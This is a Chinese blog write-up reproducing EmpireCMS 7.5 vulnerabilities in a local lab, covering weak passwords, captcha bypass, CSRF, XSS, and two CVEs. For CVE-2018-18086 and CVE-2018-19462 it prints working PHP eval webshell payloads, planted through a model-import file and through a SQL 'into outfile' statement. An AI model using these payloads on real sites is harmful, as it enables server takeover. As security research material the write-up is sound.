当前位置: 首页 > news >正文

帝国CMS(EmpireCMS)漏洞复现

简介

《帝国网站管理系统》英文译为Empire CMS,简称Ecms,它是基于B/S结构,且功能强大而帝国CMS-logo易用的网站管理系统。
帝国CMS官网:http://www.phome.net/
参考相关漏洞分析文章,加上更详细的渗透测试过程。

参考

帝国CMS(EmpireCMS)v7.5漏洞分析
帝国cms v7.5—漏洞分析

靶场搭建

环境:PHP+Mysql+EmpireCMS<=7.5

安装phpstudy_pro

下载地址:https://www.xp.cn/
十分方便,点击下载安装即可。

安装EmpireCMS

下载地址:http://www.phome.net/download/
解压后放在phpstudy_pro/WWW目录下
与常见的靶场安装相似,访问http://127.0.0.1/upload/e/install/index.php填写相关配置信息安装即可
在这里插入图片描述
最后上删除/e/install目录,避免被再次安装.

漏洞复现

身份鉴别类

弱口令

前台可进行密码爆破,弱口令test/test@123
在这里插入图片描述

验证码失效

使用同一验证码尝试进行登录,验证码失效,故可进行上述爆破。
且存在敏感信息明文传输,数据包中用户名密码为url编码。
注册功能处同样存在此漏洞。
在这里插入图片描述
找回密码处,验证码失效,且可以无限发送密码重置邮件。
在这里插入图片描述

CSRF漏洞

修改referer依旧正常返回数据。
在这里插入图片描述

XSS漏洞

系统->备份与恢复数据->执行SQL语句,存在XSS漏洞。
在这里插入图片描述
进入商城系统,修改mainfile字段为“mainfile=javascript:alert(/xss/)”,成果弹窗。
在这里插入图片描述

会话重放漏洞

找回密码功能,可无限发送邮件,且验证码未失效。
在这里插入图片描述
在这里插入图片描述

文件上传漏洞

CVE-2018-18086()
后台,系统->管理数据表-> 导入系统模型,导入一个.php.mod文件,内容如下。
<? php file_put_contents("test.php","<?php @eval(\$_POST['hack']); ?>"); ?>
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

远程代码执行漏洞

CVE-2018-19462
系统->备份与恢复数据->执行SQL语句,用select ... into outfile语句写入php一句话木马。
select '<?php @eval($_POST[123])?>' into outfile 'C:/phpstudy_pro/WWW/EmpireCMS_7.5_SC_UTF8/getshell.php''
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

http://www.lryc.cn/news/391448.html

相关文章:

  • DP:解决路径问题
  • Halcon OCR字符识别(极坐标转换,字符识别)
  • 【管理咨询宝藏139】某大型快消集团公司多渠道销售管理体系方案
  • 大模型提问中包括时间的实战方案
  • 【算法】(C语言):堆排序
  • ffmpeg下载/配置环境/测试
  • C# 异步编程详解(Task,async/await)
  • qt结合vs2022安装
  • Kafka集群部署(手把手部署图文详细版)
  • 阿里Qwen2-72B大模型已是开源榜的王者,为什么还要推出其他参数模型,被其他模型打榜?
  • 7.基于SpringBoot的SSMP整合案例-表现层开发
  • 【server】3、注册中心与配置中心
  • 【大数据】—量化交易实战案例(海龟交易策略)
  • 014-GeoGebra基础篇-快速解决滑动条的角度无法输入问题
  • Diffusion模型的微调和引导
  • 零基础学MySQL:从入门到实践的完整指南
  • 澳蓝荣耀时刻,6款产品入选2024年第一批《福州市名优产品目录》
  • Frrouting快速入门——OSPF组网(一)
  • 记录通过Cloudflare部署属于自己的docker镜像源
  • 波动方程 - 在三维图中动态显示二维波动方程的解就像水面波澜起伏
  • yum命令提示 错误:rpmdb: BDB0113 Thread/process 4153/139708200269632
  • 欢乐钓鱼大师游戏攻略:在什么地方掉称号鱼?云手机游戏辅助!
  • 什么是构造函数?Java 中构造函数的重载如何实现?
  • Linux内核 -- ARMv7 与 ARMv8 中的 asmlinkage 作用及使用
  • GPT提示词模板
  • WRF学习——使用CMIP6数据驱动WRF/基于ncl与vdo的CMIP6数据处理
  • 机器人控制系列教程之Delta机器人动力学分析
  • VIM介绍
  • 课设:选课管理系统(Java+MySQL)
  • 动态规划 剪绳子问题